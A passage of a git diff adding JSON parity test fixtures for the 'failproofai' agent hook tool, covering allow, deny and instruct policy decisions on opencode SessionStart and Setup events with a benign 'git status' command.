"policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..45fb2133 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e3cecc00 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..49fa78ed --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5d13d56a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a37ea94e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..62de68d4 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a5a5695d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..94da44f0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..4987e76d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1c68881d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..941cb550 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f3f7bcb0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..614b2210 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..0f92b429 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..32dcc13e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..34f18f5e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0ab2c80d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..11d7bd4f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9731aaaf --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9be4cf5e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ 